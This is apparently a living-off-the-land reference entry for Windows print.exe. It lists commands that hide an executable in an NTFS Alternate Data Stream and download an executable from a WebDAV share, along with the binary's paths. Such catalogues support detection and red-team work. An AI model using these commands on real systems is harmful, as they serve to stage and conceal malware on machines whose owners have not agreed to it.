- Functions: Download, Copy, Add ADS
print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
Copy file.exe into the Alternate Data Stream (ADS) of file.txt.
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe
Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.
-
Resources:
-
Full path:
- C:\Windows\System32\print.exe
- C:\Windows\SysWOW64\print.exe
-
Notes: Thanks to Oddvar Moe - @oddvarmoe